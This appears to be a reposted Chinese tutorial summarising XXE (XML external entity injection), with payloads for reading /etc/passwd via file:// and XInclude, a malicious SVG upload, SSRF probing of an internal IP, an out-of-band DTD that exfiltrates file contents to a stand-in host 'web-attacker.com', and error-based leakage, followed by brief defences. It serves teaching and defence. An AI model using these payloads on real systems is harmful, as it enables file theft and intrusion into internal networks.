大佬教程收集整理的这篇文章主要介绍了XXE外部实体注入漏洞总结,大佬教程大佬觉得挺不错的,现在分享给大家,也给大家做个参考。
XXE是xml外部实体注入漏洞,应用程序解析xml输入时,没有禁止外部实体的加载,导致可加载恶意外部文件和代码,造成任意文件读取,命令执行,内网端口扫描攻击内网网站等危害。
1. 读取敏感文件。
2. 执行ssrf漏洞,进行内网端口探测,攻击内网网站等。
一些应用程序接收用户的数据,在服务端嵌入到xml文档中解析,这时我们无法控制整个xml文档,所以就无法定义或修改DOCTYPE元素。XInclede是xml规范的一部分,允许从子文档中构建xml文档,从而进行攻击。
<foo xmlns:xi="http://www.w3.org/2001/XInclude"> <xi:include parse="text" href="file:///etc/passwd"/></foo>
docx和svg等都是基于xml格式,如果图像处理库支持SVG图像,攻击者可以提交恶意的SVG图像,就可以利用文件上传执行xxe攻击。
创建具有xml代码的SVG图像
<?xml version="1.0" standalone="yes"?><!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///etc/hostname" > ]><svg width="128px" height="128px" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1"><text font-size="16" x="0" y="16">&xxe;</text></svg>
将此图像上传上去。就可以在头像中看到/etc/hostname文件的内容。
有些应用程序会允许xml的内容类型,我们就可以修改Content-Type: text/xml字段,来利用Xxe漏洞。
POST /action http/1.0 Content-Type: text/xml Content-Length: 52 <?xml version="1.0" encoding="UTF-8"?><foo>bar</foo>原来的请求体中的内容是:foo=bar
利用file协议读取服务器中的敏感文件。
<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]> <stockcheck><productId>&xxe;</productId></stockcheck>
利用http协议,让存在xxe漏洞的应用程序向与它处于同一内网的发送http请求。
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://192.168.1.1:3389"> ]>
一般情况下,虽然存在xxe漏洞,但是不会回显外部实体注入的值,我们就要利用带外通道技术。(OOB)
攻击者在vps中放置恶意的DTD,让存在漏洞的应用程序去访问。
恶意DTD(外部实体)内容:访问http://web-attacker.com/malicious.dtd可以访问到改DTD
<!ENTITY % file SYSTEM "file:///etc/passwd"> <!ENTITY % eval "<!ENTITY % exfiltrate SYSTEM 'http://web-attacker.com/?x=%file;'>"> %eval; %exfiltrate;
向存在漏洞的应用程序中输入:
通过触发xml解析错误,在解析错误信息中返回我们需要读取的敏感信息。
<!ENTITY % file SYSTEM "file:///etc/passwd"> <!ENTITY % eval "<!ENTITY % error SYSTEM 'file:///nonexistent/%file;'>"> %eval; %error;
1. 使用开发语言提供的禁用外部实体的方法。
2. 过滤用户输入的xml数据中的关键字。
3. 不允许xml中有用户自定义的文档类型。
以上是大佬教程为你收集整理的XXE外部实体注入漏洞总结全部内容,希望文章能够帮你解决XXE外部实体注入漏洞总结所遇到的程序开发问题。
如果觉得大佬教程网站内容还不错,欢迎将大佬教程推荐给程序员好友。
本图文内容来源于网友网络收集整理提供,作为学习参考使用,版权属于原作者。
如您有任何意见或建议可联系处理。小编QQ:384754419,请注明来意。